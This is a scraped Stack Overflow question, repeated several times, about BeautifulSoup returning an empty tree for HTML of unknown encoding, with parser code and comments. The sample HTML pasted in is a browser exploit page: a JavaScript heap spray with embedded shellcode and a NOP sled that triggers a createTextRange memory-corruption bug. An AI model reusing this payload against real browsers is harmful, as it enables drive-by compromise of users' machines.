Is there any way to disable BeautifulSoup's Unicode decoding?












0














I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.



Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.



Can this feature be disabled in some way?



Here's the base for my parser:



from bs4 import BeautifulSoup, Comment, Tag



class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()

def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)


Tag handlers are loaded accordingly to what's needed to be parsed and how.



Also, here is a sample of the html that's causing the problem:



<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ­¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°©­ =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>


What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.










share|improve this question
























  • You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:02












  • just curious, @leozippin are you using linux?
    – ewwink
    Nov 20 at 9:20










  • @ewwink yes, I'm using debian.
    – leozippin
    Nov 20 at 9:35










  • in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
    – ewwink
    Nov 20 at 9:51










  • Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:57
















0














I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.



Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.



Can this feature be disabled in some way?



Here's the base for my parser:



from bs4 import BeautifulSoup, Comment, Tag



class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()

def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)


Tag handlers are loaded accordingly to what's needed to be parsed and how.



Also, here is a sample of the html that's causing the problem:



<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ­¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°©­ =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>


What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.










share|improve this question
























  • You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:02












  • just curious, @leozippin are you using linux?
    – ewwink
    Nov 20 at 9:20










  • @ewwink yes, I'm using debian.
    – leozippin
    Nov 20 at 9:35










  • in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
    – ewwink
    Nov 20 at 9:51










  • Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:57














0












0








0







I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.



Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.



Can this feature be disabled in some way?



Here's the base for my parser:



from bs4 import BeautifulSoup, Comment, Tag



class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()

def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)


Tag handlers are loaded accordingly to what's needed to be parsed and how.



Also, here is a sample of the html that's causing the problem:



<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ­¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°©­ =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>


What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.










share|improve this question















I'm trying to scrape a large amount of HTML files of unknown encodings. I chose the BeautifulSoup over the lxml parser because it's fast and has an easy API, but I find that it does not always manage to parse files due to its attempts to decode them as Unicode.



Now, I don't necessarily need it to decode the text in the HMTL, but rather identify the structure of the DOM and the included tags; if they contain more data I prefer to decode it myself.
I've tried excluding some encodings to overcome this problem, but this also doesn't always work.



Can this feature be disabled in some way?



Here's the base for my parser:



from bs4 import BeautifulSoup, Comment, Tag



class HTMLParser():
def __init__(self, data, exclude_encodings=None):
self.html_tree = BeautifulSoup(data, 'lxml', exclude_encodings=exclude_encodings)
self._tag_handlers = dict()

def start(self):
for node in self.html_tree.recursiveChildGenerator():
if isinstance(node, Tag):
if node.name in self._tag_handlers and self._tag_handlers[node.name] is not None:
self._tag_handlers[node.name](node)
elif isinstance(node, Comment):
self._handle_comment(node)


Tag handlers are loaded accordingly to what's needed to be parsed and how.



Also, here is a sample of the html that's causing the problem:



<html> <head> <script language="javascript"> var shellcode_str = "}yÒüiõ—·BxC‘¾¿f±© Ñâ=*ù²|4{öã'uH@ ™´˜°q$áv?gN›’Ö¨%5I ,Ÿ(Ô“¸O-µA¶sFº‡øq!ë|+ü»~x'J¹B—¸=¶¾’“F9Õ·÷Ö/r?7CzNI:â$@ù–™wpg„ýf˜±A4º´²›%‘¨µy{ õt³,¿©O°v5GãþÀá2ÐÔ- K1à}<ŸuHyutB¿´ ø@kÔ²™‘˜¾»’CA#õ|fë?ý"ü-I ÖÓá/¶x7N,†ùwvzg}€â~ ¹%=±ºJ›sp'Ÿr5°¨H–4“ Kµ<ˆÕ— à$³©G{FqO¸·‰ã?Af·wq)ÿÇÆÁø–;á3ü{Nz ù…ë-~H¨›±º ³vu=C°0â}àtK™@¸$<¹©¶GJ¾|xg%Ÿ“B´’‘µsy ²p41Ö˜#Ô/ý;ãO—ÕI,»'F¿õr75†àköÀâzHu}KŒë Ÿp"á*÷ãv/´rO·~qf³’A ˜¹±B7=+Õ¿—C4N‡ø°»‘st,{F¾©IyÐÔƒý™g¸x5$%–|'“G-@?Jwõ0üº²¶›¨µ< ÓÖ„ùs w<¿°˜¸t âgCf7?¹»,(Ñãz} Òà¾3Ô¶´—Jº–%{Õ³·Ÿëý:õ±™µ“©u~pyvI’¨ø/GrFKqáH|)Ö!Áù‘…üxNzOq'u=²›{As8á$~5}4yàB|9ã@-™âCvÖtw4¾K» ü·F¿‘iý€õˆø7¶Jp›ºr x%µ“¹2ëGf‰ùB±5?© ˜/-¨’@O–=ŸÔ°—¸,²g³$<I´Õ'ANHÙÈÙt$ô¸ØÉZ•[+ɱH1CƒëüCâ-5²ÍÆC|D#r®2''~1eÄõž_{¿‘è6™œéö%r)˜Ù‰~zàAs{%¿|)þË/Þ‹ŽóUÇt‰Uªyužò<¸œ9ö3VÉ ’§28Úk ô×rI3¡Gµr5a”gâL&ȃŸ@0LûLŸs,ÅÛWè¸ö©kn©ÔÏ­¡÷ØëŸéè`f{gR)×ïÞ¢ñè!™EfÜ"µ®våØŠ÷n2" Iœ€9NhPS±ˆ[¹Ú"¡*ﲩ¸‡°©­ =O§£kÇP]6“Á¢íÙÂ)ŒÙl y*;o,5–Ñ£†[èáÃáßyÍw 2— ædý ŽÐ¥r«pç`‹z^Ôj½Ÿfj‚IOèòÿ£0"; var nop_str = "ùHA"; var shellcode_total_length = 20 + shellcode_str.length; while(nop_str.length < shellcode_total_length) { nop_str += nop_str; } var nop_final = nop_str.substring(0,shellcode_total_length); var remaining_nops = nop_str.substring(0,nop_str.length-shellcode_total_length); while(remaining_nops.length + shellcode_total_length < 0x40000) { remaining_nops += nop_final; } var arr = new Array(); var counter = 0; var max_size = 2020; function func() { spain_id.innerHTML = Math.round((counter / max_size) * 100); if(counter < max_size) { arr.push(remaining_nops + shellcode_str); counter++; } else { spain_id.innerHTML = 100; element = document.createElement("input"); element.type = "image"; _FDPS = element.createTextRange(); } } function interval_func() { setInterval('func()', 5) } </script>


What happens is that the BeautifulSoup object is parsed without any children, even though it clearly has a script node, and so my start method is ineffective.







python html web-scraping beautifulsoup






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Nov 20 at 9:57

























asked Nov 20 at 8:07









leozippin

11




11












  • You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:02












  • just curious, @leozippin are you using linux?
    – ewwink
    Nov 20 at 9:20










  • @ewwink yes, I'm using debian.
    – leozippin
    Nov 20 at 9:35










  • in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
    – ewwink
    Nov 20 at 9:51










  • Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:57


















  • You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:02












  • just curious, @leozippin are you using linux?
    – ewwink
    Nov 20 at 9:20










  • @ewwink yes, I'm using debian.
    – leozippin
    Nov 20 at 9:35










  • in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
    – ewwink
    Nov 20 at 9:51










  • Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
    – Tomalak
    Nov 20 at 9:57
















You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02






You cannot parse "the tags only". HTML is a string. To know which parts of the string are elements, and which parts are text, the whole thing must be parsed. Show the code you are currently using.
– Tomalak
Nov 20 at 9:02














just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20




just curious, @leozippin are you using linux?
– ewwink
Nov 20 at 9:20












@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35




@ewwink yes, I'm using debian.
– leozippin
Nov 20 at 9:35












in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51




in some case, bs4 have problem with windows encoding in linux. and there is no option to disable except you edit the core of bs4.
– ewwink
Nov 20 at 9:51












Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57




Don't believe hand-wavy "it's not possible" statements. Show the code you are currently using.
– Tomalak
Nov 20 at 9:57

















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